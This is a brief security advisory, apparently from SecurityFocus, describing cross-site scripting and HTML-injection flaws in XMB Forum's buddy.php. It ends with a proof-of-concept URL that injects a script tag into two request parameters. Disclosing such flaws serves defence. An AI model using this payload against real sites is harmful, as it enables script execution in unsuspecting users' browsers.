source: https://www.securityfocus.com/bid/8013/info
 
XMB Forum has been reported prone to multiple cross-site scripting and HTML-injection vulnerabilities because the application fails to sanitize user-supplied data.
 
An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user.

http://www.example.com/XMBforum/buddy.php?action=&lt;script&gt;alert('XSS')&lt;/script&gt;&buddy=&lt;script&gt;alert('XSS')&lt;/script&gt;